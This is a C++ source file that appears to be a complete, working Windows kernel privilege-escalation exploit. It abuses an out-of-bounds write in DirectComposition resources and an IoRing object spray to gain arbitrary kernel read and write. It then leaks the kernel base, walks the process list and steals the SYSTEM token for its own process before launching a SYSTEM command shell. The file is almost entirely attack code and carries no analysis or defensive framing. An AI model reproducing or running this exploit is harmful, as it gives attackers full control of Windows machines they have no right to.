#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <stdint.h>
#include <Psapi.h>
#include <d3dkmthk.h>
#include <ioringapi.h>
#include <iostream>
#include <vector>
#include <format>
#include "dcomp.h"
#include "ioring.h"
#include "prefetch_leak.h"

#pragma optimize("", off)

#pragma comment(lib, "ntdll.lib")

using namespace std;

extern "C"
{
NTSYSCALLAPI NTSTATUS(NTAPI* NtWriteVirtualMemory)(
    _In_ HANDLE ProcessHandle,
    _In_opt_ PVOID BaseAddress,
    _In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
    _In_ SIZE_T NumberOfBytesToWrite,
    _Out_opt_ PSIZE_T NumberOfBytesWritten
    );

NTSYSCALLAPI NTSTATUS(NTAPI* NtReadVirtualMemory)(
    _In_ HANDLE ProcessHandle,
    _In_opt_ PVOID BaseAddress,
    _Out_writes_bytes_to_(NumberOfBytesToRead, *NumberOfBytesRead) PVOID Buffer,
    _In_ SIZE_T NumberOfBytesToRead,
    _Out_opt_ PSIZE_T NumberOfBytesRead
    );
}

pNtDCompositionCreateChannel NtDCompositionCreateChannel;
pNtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer;
pNtDCompositionCommitChannel NtDCompositionCommitChannel;
pNtDCompositionDestroyChannel NtDCompositionDestroyChannel;

#define SPRAY_SIZE 0x20000
#define DIVISION 5
#define TRIES (SPRAY_SIZE / DIVISION)
#define TARGET_SIZE 0x40
#define REGBUF_COUNT 0x8 // TARGET_SIZE / sizeof(*_IOP_MC_BUFFER_ENTRY)
#define INPUT_PIPE_NAME  L"\\\\.\\pipe\\inputPipe"
#define OUTPUT_PIPE_NAME L"\\\\.\\pipe\\outputPipe"

#define PS_INITIAL_SYSTEM_PROCESS_OFFSET 0xfc4aa8 // nt!PsInitialSystemProcess offset
#define TOKEN_OFFSET 0x248                        // _EPROCESS.Token offset
#define UNIQUE_PROCESS_ID_OFFSET 0x1d0            // _EPROCESS.UniqueProcessId offset
#define ACTIVE_PROCESS_LINKS_FLINK_OFFSET 0x1d8       // _EPROCESS.ActiveProcessLinks.Flink offset
#define ACTIVE_PROCESS_LINKS_BLINK_OFFSET 0x1e0       // _EPROCESS.ActiveProcessLinks.Flink offset

#define SystemExtendedHandleInformation (SYSTEM_INFORMATION_CLASS)64

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ACCESS_MASK GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;


typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR NumberOfHandles;
    ULONG_PTR Reserved;
    _Field_size_(NumberOfHandles) SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

namespace DirectComposition
{
    HANDLE channel;
    PVOID mapped_address = NULL;
    SIZE_T section_size = 0x1000;
    HANDLE shared_handles[TRIES];
    int found_offset = -1;
}

namespace IoRingPrimitive
{
    vector<HIORING> ioring_handles(SPRAY_SIZE);
    HIORING target_handle = NULL;
    IORING_BUFFER_INFO reg_buffers[REGBUF_COUNT];
    HANDLE input_pipe;
    HANDLE output_pipe;
    HANDLE input_client_pipe;
    HANDLE output_client_pipe;
    PVOID fake_buffer_entries = (PVOID)0x100000000;
}

PVOID ntoskrnl_base = NULL;

enum class LogLevel {
    Success = 10,
    Error = 12,
    Info = 9,
    Warning = 14
};

template <typename... Args>
void LogMessage(LogLevel level, std::string_view format, Args&&... args) {
    HANDLE console = GetStdHandle(STD_OUTPUT_HANDLE);
    char level_char = '*';

    switch (level) {
    case LogLevel::Success:  level_char = '+'; break;
    case LogLevel::Error:    level_char = '!'; break;
    case LogLevel::Info:     level_char = '*'; break;
    case LogLevel::Warning:  level_char = '-'; break;
    }

    cout << "[";
    SetConsoleTextAttribute(console, (WORD)level);
    cout << level_char;
    SetConsoleTextAttribute(console, 7);
    cout << "] ";

    cout << vformat(format, std::make_format_args(args...)) << endl;

    cout.flush();
}

VOID GetNtAPI()
{
    HMODULE win32u = LoadLibraryW(L"win32u.dll");
    if (!win32u) {
        LogMessage(LogLevel::Error, "Failed to load win32u.dll");
        exit(-1);
    }
    else {
        if ((NtDCompositionCreateChannel = (pNtDCompositionCreateChannel)GetProcAddress(win32u, "NtDCompositionCreateChannel")) == NULL ||
            (NtDCompositionProcessChannelBatchBuffer = (pNtDCompositionProcessChannelBatchBuffer)GetProcAddress(win32u, "NtDCompositionProcessChannelBatchBuffer")) == NULL ||
            (NtDCompositionCommitChannel = (pNtDCompositionCommitChannel)GetProcAddress(win32u, "NtDCompositionCommitChannel")) == NULL ||
            (NtDCompositionDestroyChannel = (pNtDCompositionDestroyChannel)GetProcAddress(win32u, "NtDCompositionDestroyChannel")) == NULL) {
            LogMessage(LogLevel::Error, "Failed to get procedures");
            exit(-1);
        }
    }
}

VOID CreateOOBObject(DWORD resource_id)
{
    DWORD out1, out2;
    VOID* cmd_buf;
    int size = 0;

    cmd_buf = DirectComposition::mapped_address;

    ((CREATE_RESOURCE*)cmd_buf)->CmdId = CreateResource;
    ((CREATE_RESOURCE*)cmd_buf)->ResourceId = resource_id;
    ((CREATE_RESOURCE*)cmd_buf)->ResourceType = 0x13;
    ((CREATE_RESOURCE*)cmd_buf)->IsSharedResource = 1;
    size = sizeof(CREATE_RESOURCE);
    NtDCompositionProcessChannelBatchBuffer(DirectComposition::channel, size, &out1, &out2);
    memset(DirectComposition::mapped_address, 0x0, size);

    ((OPEN_SHARED_RESOURCE_HANDLE*)cmd_buf)->CmdId = OpenSharedResourceHandle;
    ((OPEN_SHARED_RESOURCE_HANDLE*)cmd_buf)->ResourceId = resource_id;
    ((OPEN_SHARED_RESOURCE_HANDLE*)cmd_buf)->OpenedHandlePtr = 0; // [Out]
    size = sizeof(OPEN_SHARED_RESOURCE_HANDLE);
    NtDCompositionProcessChannelBatchBuffer(DirectComposition::channel, size, &out1, &out2);
    HANDLE shared_resource_handle = ((OPEN_SHARED_RESOURCE_HANDLE*)cmd_buf)->OpenedHandlePtr;
    DirectComposition::shared_handles[resource_id-1] = shared_resource_handle;
    memset(DirectComposition::mapped_address, 0x0, size);

    ((RELEASE_RESOURCE*)cmd_buf)->CmdId = ReleaseResource;
    ((RELEASE_RESOURCE*)cmd_buf)->ResourceId = resource_id;
    size = sizeof(RELEASE_RESOURCE);
    NtDCompositionProcessChannelBatchBuffer(DirectComposition::channel, size, &out1, &out2);
    memset(DirectComposition::mapped_address, 0x0, size);

    ((OPEN_SHARED_RESOURCE*)cmd_buf)->CmdId = OpenSharedResource;
    ((OPEN_SHARED_RESOURCE*)cmd_buf)->ResourceId = resource_id;
    ((OPEN_SHARED_RESOURCE*)cmd_buf)->ResourceHandle = shared_resource_handle;
    ((OPEN_SHARED_RESOURCE*)cmd_buf)->ResourceType = 0x13;
    ((OPEN_SHARED_RESOURCE*)cmd_buf)->OpenMode = 0;
    size = sizeof(OPEN_SHARED_RESOURCE);
    NtDCompositionProcessChannelBatchBuffer(DirectComposition::channel, size, &out1, &out2);
    memset(DirectComposition::mapped_address, 0x0, size);
}

VOID TriggerOOBWrite(DWORD resource_id, DWORD value)
{
    DWORD out1, out2;
    VOID* cmd_buf;
    int size = 0;

    cmd_buf = DirectComposition::mapped_address;

    ((SET_RESOURCE_FLOAT_PROPERTY*)cmd_buf)->CmdId = SetResourceFloatProperty;
    ((SET_RESOURCE_FLOAT_PROPERTY*)cmd_buf)->ResourceId = resource_id;
    ((SET_RESOURCE_FLOAT_PROPERTY*)cmd_buf)->PropertyType = 0x5;
    ((SET_RESOURCE_FLOAT_PROPERTY*)cmd_buf)->FValue = value;
    size = sizeof(SET_RESOURCE_FLOAT_PROPERTY);
    NtDCompositionProcessChannelBatchBuffer(DirectComposition::channel, size, &out1, &out2);
    memset(DirectComposition::mapped_address, 0x0, size);
}

VOID Prepare()
{
    NTSTATUS status;
    HRESULT result;
    IORING_CREATE_FLAGS flags;
    UINT32 submitted_entries;

    status = NtDCompositionCreateChannel(&DirectComposition::channel, &DirectComposition::section_size, &DirectComposition::mapped_address);
    if (!NT_SUCCESS(status)) {
        LogMessage(LogLevel::Error, "Failed to create channel");
        exit(-1);
    }

    memset(IoRingPrimitive::reg_buffers, 0x0, sizeof(IoRingPrimitive::reg_buffers));
    IoRingPrimitive::reg_buffers[0].Address = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    IoRingPrimitive::reg_buffers[0].Length = 0x10;
    IoRingPrimitive::reg_buffers[1].Address = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    IoRingPrimitive::reg_buffers[1].Length = 0x10;

    flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    for (int i = 0; i < SPRAY_SIZE; i++) {
        result = CreateIoRing(IORING_VERSION_3, flags, 0x100, 0x200, &IoRingPrimitive::ioring_handles[i]);
        if (!SUCCEEDED(result)) {
            LogMessage(LogLevel::Error, "Failed to create IO Ring handle: {:#x}", result);
            exit(-1);
        }

        result = BuildIoRingRegisterBuffers(IoRingPrimitive::ioring_handles[i], REGBUF_COUNT, IoRingPrimitive::reg_buffers, NULL);
        if (!SUCCEEDED(result)) {
            LogMessage(LogLevel::Error, "[!] Failed to register buffer to IO Ring Object: {:#x}", result);
            exit(-1);
        }

        result = SubmitIoRing(IoRingPrimitive::ioring_handles[i], 1, INFINITE, &submitted_entries);
    }

    memset(DirectComposition::shared_handles, 0, sizeof(DirectComposition::shared_handles));
    LogMessage(LogLevel::Info, "Creating OOB objects");
    int count = 1;
    for (int i = 1; i < SPRAY_SIZE; i++) {
        if (i % DIVISION == 0) {
            CloseIoRing(IoRingPrimitive::ioring_handles[i]);
            IoRingPrimitive::ioring_handles[i] = nullptr;
            CreateOOBObject(count++);
        }
    }
    IoRingPrimitive::ioring_handles.erase(
        std::remove(
            IoRingPrimitive::ioring_handles.begin(),
            IoRingPrimitive::ioring_handles.end(),
            nullptr),
        IoRingPrimitive::ioring_handles.end());

    if (VirtualAlloc(IoRingPrimitive::fake_buffer_entries, 0xffffffff, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) != IoRingPrimitive::fake_buffer_entries) {
        LogMessage(LogLevel::Error, "Failed to allocate fake buffer entries: {:#x}", GetLastError());
        exit(-1);
    }

    IoRingPrimitive::input_pipe = CreateNamedPipeW(INPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    if (IoRingPrimitive::input_pipe == INVALID_HANDLE_VALUE) {
        LogMessage(LogLevel::Error, "Failed to create input pipe: {:#x}", GetLastError());
        exit(-1);
    }

    IoRingPrimitive::output_pipe = CreateNamedPipeW(OUTPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    if (IoRingPrimitive::output_pipe == INVALID_HANDLE_VALUE) {
        LogMessage(LogLevel::Error, "Failed to create output pipe: {:#x}", GetLastError());
        exit(-1);
    }

    
    IoRingPrimitive::input_client_pipe = CreateFileW(
        INPUT_PIPE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (IoRingPrimitive::input_client_pipe == INVALID_HANDLE_VALUE) {
        LogMessage(LogLevel::Error, "Failed to open handle to input pipe: {:#x}", GetLastError());
        exit(-1);
    }

    IoRingPrimitive::output_client_pipe = CreateFileW(
        OUTPUT_PIPE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (IoRingPrimitive::output_client_pipe == INVALID_HANDLE_VALUE) {
        LogMessage(LogLevel::Error, "Failed to open handle to input pipe: {:#x}", GetLastError());
        exit(-1);
    }
}

VOID ComposeFakeBufferEntries(PVOID target_address, SIZE_T size)
{
    _IOP_MC_BUFFER_ENTRY fake_buffer_entry;

    memset(&fake_buffer_entry, 0x0, sizeof(_IOP_MC_BUFFER_ENTRY));

    fake_buffer_entry.Address = target_address;
    fake_buffer_entry.Length = size;
    fake_buffer_entry.Type = 0xc02;
    fake_buffer_entry.Size = 0x80;
    fake_buffer_entry.AccessMode = 1;
    fake_buffer_entry.ReferenceCount = 1;

    UCHAR page_buffer[0x1000] = { 0 };
    ULONG64 ptr = (ULONG64)page_buffer;

    for (int i = 0; i < 28; i++) {
        ptr += 0x10;  // skip _POOL_HEADER      
        memcpy((PVOID)ptr, &fake_buffer_entry, sizeof(_IOP_MC_BUFFER_ENTRY));
        ptr += sizeof(_IOP_MC_BUFFER_ENTRY);
    }

    for (ULONG64 addr = (ULONG64)IoRingPrimitive::fake_buffer_entries;
        addr < (ULONG64)IoRingPrimitive::fake_buffer_entries + 0x100000000;
        addr += 0x1000) {
        memcpy((PVOID)addr, page_buffer, sizeof(page_buffer));
    }
}

BOOL ArbitraryKernelRead(HIORING io_ring, PVOID target_address, PVOID output_buffer, SIZE_T size, BOOL need_composing = TRUE)
{
    DWORD bytes_read = 0;
    HRESULT result;
    UINT32 submitted_entries;
    IORING_CQE cqe;

    if (need_composing) {
        ComposeFakeBufferEntries(target_address, size);
    }

    auto file_ref = IoRingHandleRefFromHandle(IoRingPrimitive::output_client_pipe);
    auto data_ref = IoRingBufferRefFromIndexAndOffset(1, 0);

    result = BuildIoRingWriteFile(
        io_ring,
        file_ref,
        data_ref,
        size,
        0,
        FILE_WRITE_FLAGS_NONE,
        NULL,
        IOSQE_FLAGS_NONE);
    if (!SUCCEEDED(result)) {
        LogMessage(LogLevel::Error, "Failed to build IO Ring read file structure: {:#x}", result);
        return FALSE;
    }

    result = SubmitIoRing(io_ring, 1, INFINITE, &submitted_entries);
    if (!SUCCEEDED(result)) {
        LogMessage(LogLevel::Error, "Failed to submit IO Ring: {:#x}", result);
        return FALSE;
    }

    result = PopIoRingCompletion(io_ring, &cqe);
    if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode))) {
        LogMessage(LogLevel::Error, "Failed to read kernel memory {:#x}", cqe.ResultCode);
        return FALSE;
    }

    BOOL res = ReadFile(
        IoRingPrimitive::output_pipe,
        output_buffer,
        size,
        &bytes_read,
        NULL);
    DWORD lastError = GetLastError();
    if (!res) {
        LogMessage(LogLevel::Error, "Failed to read from output pipe: {:#x}", lastError);
        return FALSE;
    }

    return res;
}

BOOL ArbitraryKernelWrite(HIORING io_ring, PVOID target_address, PVOID input_buffer, SIZE_T size, BOOL need_composing = TRUE)
{
    DWORD bytes_written = 0;
    HRESULT result;
    UINT32 submitted_entries;
    IORING_CQE cqe;

    if (WriteFile(IoRingPrimitive::input_pipe, input_buffer, size, &bytes_written, NULL) == FALSE) {
        result = GetLastError();
        LogMessage(LogLevel::Error, "Failed to write into the input pipe: {:#x}", result);
        return FALSE;
    }

    if (need_composing) {
        ComposeFakeBufferEntries(target_address, size);
    }

    auto file_ref = IoRingHandleRefFromHandle(IoRingPrimitive::input_client_pipe);
    auto data_ref = IoRingBufferRefFromIndexAndOffset(1, 0);

    result = BuildIoRingReadFile(
        io_ring,
        file_ref,
        data_ref,
        size,
        0,
        NULL,
        IOSQE_FLAGS_NONE);
    if (!SUCCEEDED(result)) {
        LogMessage(LogLevel::Error, "Failed to build IO Ring read file structure: {:#x}", result);
        return FALSE;
    }

    result = SubmitIoRing(io_ring, 1, INFINITE, &submitted_entries);
    if (!SUCCEEDED(result)) {
        LogMessage(LogLevel::Error, "Failed to submit IO Ring: {:#x}", result);
        return FALSE;
    }

    return TRUE;
}

VOID LeakKernelBase()
{
    if (!SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS)) {
        LogMessage(LogLevel::Error, "SetPriorityClass: {:#x}", GetLastError());
        exit(1);
    }

    HANDLE leak_thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)leak_kernel_base_reliable, &ntoskrnl_base, CREATE_SUSPENDED, NULL);

    if (!SetThreadPriority(leak_thread, THREAD_PRIORITY_TIME_CRITICAL)) {
        LogMessage(LogLevel::Error, "SetThreadPriority: {:#x}", GetLastError());
        exit(1);
    }

    DWORD_PTR affinity_mask = 0x1;

    DWORD_PTR result = SetThreadAffinityMask(leak_thread, affinity_mask);
    SetThreadIdealProcessor(leak_thread, 0);


    ResumeThread(leak_thread);
    WaitForSingleObject(leak_thread, INFINITE);

    LogMessage(LogLevel::Success, "ntoskrnl_base: {:#x}", (ULONG64)ntoskrnl_base);
}

ULONG64 write_me = 0;

VOID Exploit()
{
    ULONG64 right = 0xDEADBEEFCAFEBABE;
    int count = 1;

    LogMessage(LogLevel::Info, "Triggering OOB...");
    ComposeFakeBufferEntries(&write_me, 8);
    for (int i = TRIES; i > 0; i--) {
        printf("\r    Tries #%d...", count++);
        //__debugbreak();
        TriggerOOBWrite(i, 0x1);

        for (auto& io_ring : IoRingPrimitive::ioring_handles) {
            if (ArbitraryKernelWrite(io_ring, &write_me, (PVOID)&right, 8, FALSE)) {
                if (write_me == 0xDEADBEEFCAFEBABE) {
                    IoRingPrimitive::target_handle = io_ring;
                    DirectComposition::found_offset = i;
                    break;
                }
            }
        }

        if (IoRingPrimitive::target_handle != NULL) {
            cout << endl;
            LogMessage(LogLevel::Success, "Target found!!!");
            break;
        }
    }

    if (IoRingPrimitive::target_handle == NULL) {
        LogMessage(LogLevel::Error, "Exploitation failure...\n");
        getchar();
        exit(-1);
    }

    DWORD available;
    BYTE buf[1024];
    while (1) {
        if (!PeekNamedPipe(IoRingPrimitive::input_client_pipe, NULL, 0, NULL, &available, NULL) || available == 0) {
            break;
        }
        int bytes_to_read = available > 1024 ? 1024 : available;
        ReadFile(IoRingPrimitive::input_client_pipe, buf, bytes_to_read, NULL, NULL);
    }

    PVOID system_process_ptr = (PVOID)((ULONG64)ntoskrnl_base + PS_INITIAL_SYSTEM_PROCESS_OFFSET);
    LogMessage(LogLevel::Success, "PsInitialSystemProcess: {:#x}", (ULONG64)system_process_ptr);


    PVOID system_process_addr = NULL;
    ArbitraryKernelRead(IoRingPrimitive::target_handle, system_process_ptr, &system_process_addr, 8);
    LogMessage(LogLevel::Success, "System process's address: {:#x}", (ULONG64)system_process_addr);
    
    
    PVOID system_token_ptr = (PVOID)((ULONG64)system_process_addr + TOKEN_OFFSET);
    PVOID system_token_addr = NULL;
    ArbitraryKernelRead(IoRingPrimitive::target_handle, system_token_ptr, &system_token_addr, 8);
    LogMessage(LogLevel::Success, "System process's token address: {:#x}", (ULONG64)system_token_addr);

    PVOID next_process_addr = system_process_addr;
    PVOID next_process_ptr = (PVOID)((ULONG64)next_process_addr + ACTIVE_PROCESS_LINKS_BLINK_OFFSET);
    DWORD cur_pid = GetCurrentProcessId();
    LogMessage(LogLevel::Info, "Current process's pid: {}", cur_pid);
    PVOID current_process_addr = NULL;
    LogMessage(LogLevel::Info, "Finding current process...");
    while (1) {
        ArbitraryKernelRead(IoRingPrimitive::target_handle, next_process_ptr, &next_process_addr, 8);
        next_process_addr = (PVOID)((ULONG64)next_process_addr - ACTIVE_PROCESS_LINKS_FLINK_OFFSET);

        DWORD pid = 0;
        PVOID unique_process_id_ptr = (PVOID)((ULONG64)next_process_addr + UNIQUE_PROCESS_ID_OFFSET);
        ArbitraryKernelRead(IoRingPrimitive::target_handle, unique_process_id_ptr, &pid, 4);
        if (cur_pid == pid) {
            current_process_addr = next_process_addr;
            break;
        }
        next_process_ptr = (PVOID)((ULONG64)next_process_addr + ACTIVE_PROCESS_LINKS_BLINK_OFFSET);
    }
    LogMessage(LogLevel::Success, "Current process's address: {:#x}", (ULONG64)current_process_addr);

    LogMessage(LogLevel::Info, "Stealing the system token...");
    FlushFileBuffers(IoRingPrimitive::input_client_pipe);
    PVOID current_process_token_ptr = (PVOID)((ULONG64)current_process_addr + TOKEN_OFFSET);
    ArbitraryKernelWrite(IoRingPrimitive::target_handle, current_process_token_ptr, &system_token_addr, 8);

    PVOID system_token_pointer_count_ptr = (PVOID)(((ULONG64)system_token_addr & 0xfffffffffffffff0) - 0x30);
    QWORD pointer_count = 0;
    ArbitraryKernelRead(IoRingPrimitive::target_handle, system_token_pointer_count_ptr, &pointer_count, 8);
    pointer_count += 0x100;
    ArbitraryKernelWrite(IoRingPrimitive::target_handle, system_token_pointer_count_ptr, &pointer_count, 8);
}

VOID SpawnShell()
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    CreateProcessW(
        L"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
}

PVOID GetKernelAddressFromHandle(HANDLE handle)
{
    NTSTATUS status;
    ULONG length = 0x100;
    PSYSTEM_HANDLE_INFORMATION_EX handle_info = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(length);

    while ((status = NtQuerySystemInformation(SystemExtendedHandleInformation, handle_info, length, &length)) == STATUS_INFO_LENGTH_MISMATCH) {
        free(handle_info);
        handle_info = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(length);
    }

    if (!NT_SUCCESS(status)) {
        printf("NtQuerySystemInformation: 0x%x\n", status);
        free(handle_info);
        return NULL;
    }

    DWORD pid = GetCurrentProcessId();
    for (ULONG i = 0; i < handle_info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handle_entry = handle_info->Handles[i];
        if ((DWORD)handle_entry.UniqueProcessId == pid) {
            if (handle_entry.HandleValue == handle) {
                return handle_entry.Object;
            }
        }
    }

    return NULL;
}

bool EnablePrivilege(LPCWSTR privilegeName) {
    HANDLE tokenHandle;
    TOKEN_PRIVILEGES tokenPrivileges;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tokenHandle)) {
        std::wcerr << L"[!] OpenProcessToken failed: " << GetLastError() << std::endl;
        return false;
    }

    if (!LookupPrivilegeValue(nullptr, privilegeName, &tokenPrivileges.Privileges[0].Luid)) {
        std::wcerr << L"[!] LookupPrivilegeValue failed: " << GetLastError() << std::endl;
        CloseHandle(tokenHandle);
        return false;
    }

    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(tokenHandle, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) {
        std::wcerr << L"[!] AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
        CloseHandle(tokenHandle);
        return false;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
        std::wcerr << L"[!] The token does not have the specified privilege." << std::endl;
        CloseHandle(tokenHandle);
        return false;
    }

    CloseHandle(tokenHandle);
    return true;
}

VOID Cleanup()
{
    PVOID null_ptr = 0;
    PVOID user_mode = (PVOID)1;
    PVOID io_ring_addr = nullptr;
    PVOID target_io_ring_addr = nullptr;

    target_io_ring_addr = GetKernelAddressFromHandle(*(PHANDLE)IoRingPrimitive::target_handle);
    printf("[DEBUG] target_io_ring_addr: 0x%p\n", target_io_ring_addr);
    //getchar();

    for (auto& io_ring : IoRingPrimitive::ioring_handles) {
        io_ring_addr = GetKernelAddressFromHandle(*(PHANDLE)io_ring);
        if (io_ring_addr == target_io_ring_addr) {
            continue;
        }
        //printf("[DEBUG] io_ring_addr: 0x%p\n", io_ring_addr);
        //getchar();
        ArbitraryKernelWrite(IoRingPrimitive::target_handle, (PVOID)((ULONG64)io_ring_addr + 0xb8), &null_ptr, 8);
        //CloseIoRing(io_ring);
    }

    printf("[DEBUG] Now cleanup target");
    getchar();
    ArbitraryKernelWrite(IoRingPrimitive::target_handle, (PVOID)((ULONG64)target_io_ring_addr + 0xb8), &null_ptr, 8);
    //CloseIoRing(IoRingPrimitive::target_handle);

    for (auto& io_ring : IoRingPrimitive::ioring_handles) {
        CloseIoRing(io_ring);
    }
}

VOID Cleanup2()
{
    HANDLE current_thread_handle = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
    PVOID current_thread_addr = GetKernelAddressFromHandle(current_thread_handle);
    PVOID win32_process_addr = nullptr;
    PVOID temp_ptr = nullptr;
    PVOID dc_process_data_addr = nullptr;
    PVOID dc_channel_table = nullptr;
    PVOID table_root = nullptr;
    PVOID dc_channel_addr = nullptr;
    PVOID dc_resouece_table = nullptr;
    PVOID null_ptr = 0;
    PVOID io_ring_addr = nullptr;

    ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)current_thread_addr + 0xb8), &temp_ptr, 8);
    ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)temp_ptr + 0x298), &win32_process_addr, 8);
    ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)win32_process_addr + 0x100), &dc_process_data_addr, 8);
    ArbitraryKernelRead(IoRingPrimitive::target_handle, dc_process_data_addr, &dc_channel_table, 8);

    ArbitraryKernelRead(IoRingPrimitive::target_handle, dc_channel_table, &table_root, 8);
    HANDLE lookup_handle = 0;
    while (1) {
        ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)table_root + 0x28), &lookup_handle, 8);
        if (DirectComposition::channel == lookup_handle) {
            ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)table_root + 0x30), &dc_channel_addr, 8);
            break;
        }

        if (DirectComposition::channel < lookup_handle) {
            ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)table_root + 8), &table_root, 8);
            continue;
        }

        if (DirectComposition::channel > lookup_handle) {
            ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)table_root + 0x10), &table_root, 8);
            continue;
        }
    }

    //printf("[DEBUG] dc_channel_addr: 0x%p\n", dc_channel_addr);
    //getchar();
    ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)dc_channel_addr + 0x40), &dc_resouece_table, 8);
    //printf("[DEBUG] found_offset: 0x%x\n", DirectComposition::found_offset);
    for (int i = TRIES; i > DirectComposition::found_offset; i--) {
        //printf("[DEBUG] i: 0x%x\n", i);
        DWORD resource_id = i - 1;
        PVOID resource_addr = nullptr;
        ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)dc_resouece_table + resource_id * 8), &resource_addr, 8);
        DWORD pool_tag;
        ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)resource_addr + 0x44), &pool_tag, 4);
        if (pool_tag == 0x42527249) {
            PVOID original_buffer_entry_high = nullptr;
            ArbitraryKernelRead(IoRingPrimitive::target_handle, (PVOID)((ULONG64)resource_addr + 0x54), &original_buffer_entry_high, 4);
            //printf("[DEBUG] 0x%p\n", (PVOID)((ULONG64)resource_addr+0x40));
            //getchar();
            ArbitraryKernelWrite(IoRingPrimitive::target_handle, (PVOID)((ULONG64)resource_addr + 0x5c), &original_buffer_entry_high, 4);
        }
        else {
            //printf("[DEBUG] 0x%p\n", (PVOID)((ULONG64)resource_addr+0x40));
            //getchar();
            //ArbitraryKernelWrite(IoRingPrimitive::target_handle, (PVOID)((ULONG64)resource_addr + 0x50), &null_ptr, 8);
            ArbitraryKernelWrite(IoRingPrimitive::target_handle, (PVOID)((ULONG64)resource_addr + 0x58), &null_ptr, 8);
        }
    }

    io_ring_addr = GetKernelAddressFromHandle(*(PHANDLE)IoRingPrimitive::target_handle);
    //printf("[DEBUG] target_io_ring: 0x%p\n", io_ring_addr);
    //ArbitraryKernelWrite(IoRingPrimitive::target_handle, (PVOID)((ULONG64)io_ring_addr + 0xb0), &null_ptr, 8);
    //getchar();
    ArbitraryKernelWrite(IoRingPrimitive::target_handle, (PVOID)((ULONG64)io_ring_addr + 0xb8), &null_ptr, 8);

    //memset(IoRingPrimitive::fake_buffer_entries, 0x4, 0xffffffff);

    CloseHandle(current_thread_handle);
}

int main(int argc, char** argv)
{
    NTSTATUS status;

    LoadLibraryW(L"user32.dll");

    GetNtAPI();

    LogMessage(LogLevel::Info, "Leaking kernel base...");
    LeakKernelBase();
    
    LogMessage(LogLevel::Info, "Preparation...");
    Prepare();

    Sleep(1000);

    Exploit();

    EnablePrivilege(SE_DEBUG_NAME);

    LogMessage(LogLevel::Info, "Spawning SYSTEM shell!");
    //system("cmd");
    SpawnShell();

    //LogMessage(LogLevel::Info, "Cleanup2...");
    //Cleanup2();

    //LogMessage(LogLevel::Success, "Done..");
    //getchar();

    /*
    for (auto& io_ring : IoRingPrimitive::ioring_handles) {
        CloseIoRing(io_ring);
    }
    */

    //LogMessage(LogLevel::Info, "Cleanup...");
    //Cleanup();


    LogMessage(LogLevel::Success, "Done!");
    //getchar();
    Sleep(INFINITE);
}
